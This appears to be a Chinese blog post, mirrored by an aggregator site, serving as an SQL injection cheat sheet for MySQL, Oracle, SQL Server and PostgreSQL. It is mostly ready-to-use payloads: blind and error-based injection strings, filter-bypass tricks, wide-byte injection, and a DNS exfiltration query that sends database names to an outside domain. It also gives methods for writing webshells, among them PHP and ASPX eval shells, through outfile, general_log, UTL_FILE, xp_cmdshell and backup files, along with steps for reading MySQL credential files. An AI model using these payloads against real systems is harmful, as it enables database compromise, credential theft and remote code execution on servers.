3

数据库利用汇总

 2 years ago
source link: https://www.ascotbe.com/2020/07/21/DatabaseHub/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

找笔记是在太烦人了,干脆全部写在一篇里面(来自1年半后的从写

随手测试语句

语句前面适当加入'"and等参数

#算个MD5
extractvalue(1,concat(char(126),md5(1941797210)))
#MySQL常用的盲注语句
(CASE/**/WHEN/**/(2382=2382)/**/THEN/**/SLEEP(5)/**/ELSE/**/2382/**/END)
(select*from(select+sleep(4)union/**/select+1)a)
#SQL Server常用的盲注语句
/**/and(select+1)>0waitfor/**/delay'0:0:4'/**/
#Oracle常用的盲注语句
/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('n',2)
#PostgreSQL常用的盲注语句
'/**/and(select'1'from/**/pg_sleep(4))>'0

MySQL

#查数据库
select/**/database()
#查当前用户
select/**/user()
#查询所有数据库
select/**/concat(schema_name)/**/from/**/information_schema.schemata
#查所有表
SELECT/**/TABLE_NAME/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=database()
#查表的COLUMN名
select/**/COLUMN_NAME/**/from/**/information_schema.COLUMNS/**/where/**/table_name/**/=/**/'you_table_name'/**/and/**/table_schema/**/=/**/'you_db_name'/**/limit/**/1/**/offset/**/2

小tips

  • select*from/**/mysql.user; selectfrom中间要是用*号的话是可以不需要空格的
  • 如果你报错注入接口返回了Subquery returns more than 1 row可以一行一行的读,用上limit 1 offset 2来获取数据

10种报错注入

毕竟常用的是floor、extractvalue、updatexml这三种方法

floor

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

extractvalue

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

updatexml

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

geometrycollection

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

multipoint

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

polygon

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

multipolygon

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

linestring

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

multilinestring

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
select * from test where id=1 and exp(~(select * from(select user())a));
字符串处理
left(str,index)                #从左边第index开始截取
right(str,index) #从右边第index开始截取
substring(str,index) #从左边index开始截取
substr(str,index,len) #截取str,index开始,截取len的长度
mid(str,index,ken) #截取str 从index开始,截取len的长度
strcmp(expr1,expr2) #如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1
find_in_set(str,strlist) #如果相同则返回1不同则返回0
concat(str1,str2) #将字符串首尾相连
concat_ws(separator,str1,str2) #将字符串用指定连接符连接
group_concat() #函数返回一个字符串结果,该结果由分组中的值连接组合而成
/**/ 
--+

一般用在盲注

if(expr1,expr2,expr3)         										#expr1真执行expr2否则执行expr3
case when (条件) then exp1 else exp2 end #条件真执行exp1,假就执行exp2
%20 
%09
%0a
%0b
%0c
%0d
%a0
/**/
tab
/*!*/

函数名和括号直接可以插入特殊字符

mysql%0a.%0auser
concat/**/()
mysql/**/./**/auser

宽字节注入

宽字节注入利用了mysql一个特性,即当mysql在使用GBK编码的时候,会认为两个字符是一个汉字。(前一个ASCII码要大于128,才到汉字的范围)

当输入单引号,经addslashes转义后,对应的url编码是():

#对输入的单引号逐层转义
'

\'

%5C%27

当在前面引入一个ASCII大于128的字符(比如%df),url编码变为:

#添加%df符号后的单引号转义
%df'

%df\'

%df%5C%27

若使用gbk编码的话,%df%5C会被当作一个汉字处理,从而使%27(单引号)逃出生天,成功绕过,然后正常只需要进行sql语句拼接注入即可

主要就是这三种方法sleep、benchmark、笛卡尔积,然后利用字符串处理函数和if条件判断或者case条件判断来进行注入

sleep方法
#case判断
select * from mysql.user where User=1 and (select 1 from(select case when(user() like '%root%') then sleep(5) else 1 end)x);
#if判断
select * from mysql.user where User=1 and if((substring(user(),1,1))='r',sleep(5),1);
benchmark方法
#case判断
select * from mysql.user where User=1 and (select 1 from(select case when(user() like '%root%') then (select benchmark(10000000,sha(1))) else 1 end)x);
#if判断
select * from mysql.user where User=1 and if((substring(user(),1,1))='r',(select benchmark(10000000,sha(1))),1);

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
+-----------+
| count(*) |
+-----------+
| 267126336 |
+-----------+
1 row in set (9.87 sec)

然后套入判断语句中即可

select host,user,password from mysql.user where User=1 and if((substring(user(),1,1))='r',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1);

布尔(Boolean)型是计算机里的一种数据类型,只有True和False两个值,因为不用等待延时所以比时间盲注要快很多

select host,user,password from mysql.user where User=1 and if(substring(user(),1,1)='r',1=1,1=2);
select host,user,password from mysql.user where User=1 and if(substring(user(),1,1)='r',1=2,1=1);

如果为真第一个语句正确,如果为假第二个语句正确

就是开发的问题,可以参考这篇文章,和注入语句没太大关系

基于DNSLOG的注入

  • 数据库当前用户为root权限
  • secure_file_priv参数为空

其实,就是下面写webshell的一个限制版本,注入语句

select load_file(concat('\\\\',database(),'.dnslog.ascotbe.com\\test'));

写入webshell

  • 数据库当前用户为root权限

  • 知道当前网站的绝对路径

  • PHP的GPC为 off状态

  • 写入的那个路径存在写入权限

secure_file_priv参数说明

这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。

  • 如果这个参数为空,这个变量没有效果

  • 如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它

  • 如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

如果遇到以下情况的话,使用SQL语句中的outfile是无法成功的,但是写入日志的方法是可以成功的

show variables like '%secure%';

开启secure_file_priv

修改my.ini文件后需要重启MySql

secure_file_priv为NULL禁止导出文件secure_file_priv=""
secure_file_priv指定地址限制导出地址只能在此secure_file_priv=“D:/”
secure_file_priv为空可以导出到任意文件secure_file_priv=

查看是否有写入权限

select group_concat(user,0x3a,file_priv) from mysql.user;
出现Y,这就代表你有文件权限,N就是没有

基于联合查询

注入点位置如下,后面使用的话会省略这段值

http://127.0.0.1/test/Less-2/?id=1 

利用outfile方法

UNION ALL SELECT 1,2,"<? phpinfo(); ?>" into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" -- 

可以发现写入成功了,值得注意的是我们写入的是在test目录和123.txt中间没有用双斜杠,这样写入的文件会被过滤了,直接写到了WWW目录而不是test目录里面

利用dumpfile方法,这种方法可以写入16进制数据

UNION ALL SELECT 1,2,"<? phpinfo(); ?>" into dumpfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" --

写入普通数据

把PHP内容写成16进制编码数据在写入

基于非联合查询

into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123.txt" fields terminated by "<? phpinfo(); ?>" %23 --

基于log日志写shell法

先看看当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,记下来后面需要改回来的

show variables like '%general%';

然后开启日志

set global general_log = on;

设置日志写入位置

set global general_log_file = 'C:/2.txt';
select '<?php eval($_POST['ascotbe']);?>';

修改为原来的路径

set global general_log_file='c:/xxxxx/xxxx'

关闭日志记录

set global general_log = off;

基于创建再导出的方法

连接test数据库

use test;

搜索并删除存在的ascotbe这个表

drop table if exists ascotbe;

创建这个表,在里边加个字段xxx

create table ascotbe(xxx text not null);

在里面写入一句话

insert into ascotbe(xxx) values ('<?php phpinfo(); ?>');

然后把这句话导出来

SELECT xxx FROM ascotbe INTO OUTFILE 'D:/2.txt';

然后删除表

DROP TABLE ascotbe;

低权限利用

如果你发现一个注入点,但是这个注入点只是一个普通权限没法写 shell

利用条件:

  • 知道一个数据库用户账密

  • 能进入到 phpmyadmin 下

  • 一些默认文件路径位置没有更改

首先查看日志是否开启,然后看看日志文件路径根据这个路径推算出默认的user.MYD路径。一般默认的位置都是在 Mysql\data\mysql\user.MYD 这个路径下

show variables like '%general%';

然后把密码的文件导入到表里面,这边插入的表为ascotbe,这边有个点需要注意下导入文件的位置需要用\可能会报错,需要替换成/

LOAD DATA LOCAL INFILE 'C:/phpStudy/PHPTutorial/MySQL/data/mysql/user.MYD' INTO TABLE ascotbe FIELDS TERMINATED BY '';

可以看到导入成功

Oracle

利用文件访问包写shell

首先是搭建环境,这边选着docker搭建,搭建好直接用navicat连接

这边测试使用的是DBA权限中的system账户

首先创建我们得先建立一个ORACLE的目录对象指向XXXX,这边测试指向的路径为**/home/oracle**

create or replace directory IST0_DIR as '/home/oracle';

我们查看docker的路径,以及路径下的内容

如果后面写入失败了可以执行这条命令对这个目录进行授权下

grant read, write on directory IST0_DIR to system;

然后写入文件

declare
isto_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作
utl_file.put_line(isto_file, '这是一个一句话webshell'); --写入字符串
utl_file.fflush(isto_file); --刷缓冲
utl_file.fclose(isto_file); --关闭文件指针
end;

可以发现写入了shell

如果是真实环境的话我们并不能连接服务器,这样我们怎么知道shell是否写入成功呢?

declare
isto_file utl_file.file_type; --如上
fp_buffer varchar2(4000); --没必要说了吧?
begin
isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'R'); -- 指定为读操作
utl_file.get_line (isto_file , fp_buffer ); --读取一行放到 fp_buffer 变量里面
dbms_output.put_line(fp_buffer);--在终端输出结果看看
utl_file.fclose(isto_file); --关闭文件指针
end;

执行即可读取我们写入的文件内容了

SQL Server

确认用户数据库权限

角色 描述

sysadmin 执行SQL Server中的任何动作(sa 权限)

serveradmin 配置服务器设置

setupadmin 安装复制和管理扩展过程

securityadmin 管理登录和CREATE DATABASE的权限以及阅读审计

processadmin 管理SQL Server进程

dbcreator 创建和修改数据库

diskadmin 管理磁盘文件

bulkadmin 可以运行 Bulk insert 语句

#判断权限
if/**/(select/**/IS_SRVROLEMEMBER('sysadmin'))=1/**/WAITFOR/**/DELAY/**/'0:0:5'--

SQL注入写shell

首先搭建环境,当前使用的环境是SQL Server 2019,具体的搭建自行百度

拿shell的两大前提

  1. 有相应的权限db_owner
  2. 知道web目录的绝对路径

测试的时候默认使用sa进行连接

寻找绝对路径

  • 旁站的目录

  • 存储过程来搜索

  • 读配置文件

前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。

在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshellxp_dirtree

利用xp_dirtree方法来寻找

先来看xp_dirtree直接举例子

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

列出所有的C盘文件、目录、子目录

只列出目录

列出文件和目录

这边使用xp_dirtree举例所列出的文件都是基于当前盘符当前目录的,不包括目录里面的文件,比如我们查看D盘内容

可以看到只有两个文件,可以论证之前说的

真实环境下的操作

当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

然后查询下表发现成功写入

利用xp_cmdshell方法来寻找

SQL Server 阻止了对组件 xp_cmdshell的过程sys.xp_cmdshell的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。

如果遇到xp_cmdshell不能调用解决方法,这样我们就只能能执行CMD命令了,开启方面需要连接数据库才行。PS:如果都开启这种方法就不用写shell了直接执行CMD下载木马即可

;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--

接下来我们先来看cmd中怎么查找文件,该条命令如果用powershell会报错

for /r d:\ %i in (2*.php) do @echo %i

需要建立一个表 存在一个char字段就可以了

http://xx.xx.xx.xx/test.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
http://xx.xx.xx.xx/test.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r d:\ %i in (2*.php) do @echo %i'

成功查询出结果

写入Webshell

利用xp_cmdshell命令写shell

上面说了xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径,如果不存在路径会报错。

http://xx.xx.xx.xx/test.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\\test\\ascotbe.aspx' ;
差异备份写shell

因为权限的问题,最好不要备份到盘符根目录

当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。

http://xx.xx.xx.xx/test.aspx?id=1;backup database 库名 to disk = 'D:\bak.bak';--
http://xx.xx.xx.xx/test.aspx?id=1;create table [dbo].[test] ([cmd] [image]);
http://xx.xx.xx.xx/test.aspx?id=1;insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
http://xx.xx.xx.xx/test.aspx?id=1;backup database 库名 to disk='D:\ascotbe.asp' WITH DIFFERENTIAL,FORMAT;--

这里测试只能进行备份,执行最后一句差异备份会报错,所以可以直接进行备份写shell,虽然文件会很大

可以看到shell是写进去了,就是文件有点大

log备份写shell

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式

//以下步骤省略http://xx.xx.xx.xx/test.aspx?id=1
alter database 库名 set RECOVERY FULL;
create table cmd (a image) ;
backup log 库名 to disk = 'D:\test' with init ;
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) ;
backup log 库名 to disk = 'D:\test\2.asp';

PostgreSQL

#查看版本信息
SELECT version();
#查看用户
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
#查看当前数据库
SELECT current_database();
#执行命令
select system("comamnd_string");
#读取文件
select pg_read_file(filepath+filename);
#写入文件
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

通过case判断语句和pg_sleep函数进行盲注

#原始语句
select case when(expr1) then result1 else result2 end
#示例
select casr when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
https://www.cnblogs.com/springside-example/archive/2007/09/06/2529958.html
https://blog.csdn.net/zyq357/article/details/104698157
https://blog.csdn.net/junmail/article/details/4381287
https://www.cnblogs.com/xuliangxing/p/6005154.html
https://y4er.com/post/mssql-getshell/
https://xz.aliyun.com/t/3992
《代码审计:企业级Web代码安全架构》
https://xz.aliyun.com/t/2288

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK